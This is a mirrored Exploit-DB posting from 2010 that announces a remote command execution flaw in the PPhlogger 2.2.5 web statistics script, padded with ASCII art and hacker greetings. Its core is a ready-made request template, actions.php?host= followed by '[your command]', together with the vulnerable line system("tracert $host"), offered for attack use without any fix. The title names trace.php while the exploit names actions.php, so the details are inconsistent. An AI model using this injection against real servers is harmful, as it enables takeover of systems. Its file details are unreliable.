PPhlogger 2.2.5 – ‘trace.php’ Remote Command Execution - 体验盒子

作者： Sn!pEr.S!Te Hacker

日期： 2010-05-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12766/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

|| || | ||

o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,

( : / (_) / ( .

+-----------------------------------------------------------------------

-+

| ....... |

| ..''xxxxxxxxxxxxxxx'... |

| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. |

| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. |

| .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. |

| .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. |

| .xxxxxxxxxxxxxxxxxx'... ........ .'. |

| 'xxxxxxxxxxxxxxx'...... '. |

| 'xxxxxxxxxxxxxx'..'x.. .x. |

| .xxxxxxxxxxxx'...'.. ... .' |

| 'xxxxxxxxx'.. . .. .x. |

| xxxxxxx'. .. x. |

| xxxx'. .... x x. |

| 'x'. ...'xxxxxxx'. x .x. |

| .x'. .'xxxxxxxxxxxxxx. '' .' |

| .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' |

| .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. |

| .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' |

| .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. |

| .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. |

| .'xxxxxxx'.... ...xxxxxxx'. |

| ..'xxxxx'.. ..xxxxx'.. |

| ....'xx'.....''''... |

+-----------------------------------------------------------------------

-+

Remote Command Execution Vulnerability

========================================================================

PPhlogger <== 2.2.5(trace.php)

[+] Author : Sn!pEr.S!Te Hacker #

# [+] Email : sniper-site@HoTMaiL.coM #

# [+] T34M Sn!pEr.S!Te Hacker #

# [+] 27-5-2010 #

# [+] Script :lmage » PPhlogger #

# [+] Download:http://sourceforge.net/projects/pphlogger/files/pphlogger/2.2.5/pphlogger-2.2.5.zip/download #

# Version: [2.2.5] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=

Exploit : pphlogger/actions.php

http://localhost/pphlogger/actions.php?host= [your command]

http://127.0.0.1/pphlogger/actions.php?host= [your command]

system("tracert $host");

line: 56

web site Favorites my : http://inj3ct0r.com/ & http://www.hack0wn.com/ & http://www.exploit-db.com

================== Greetz : all my friend ===================

* PrX Hacker * Sm Hacker * AbUbAdR * mAsH3L ALLiL * saleh Hacker|

* HitLer.3rb * QAHER ALRAFDE * DjHacker * Mr.JLD* Mr.koka * Baby Hacker |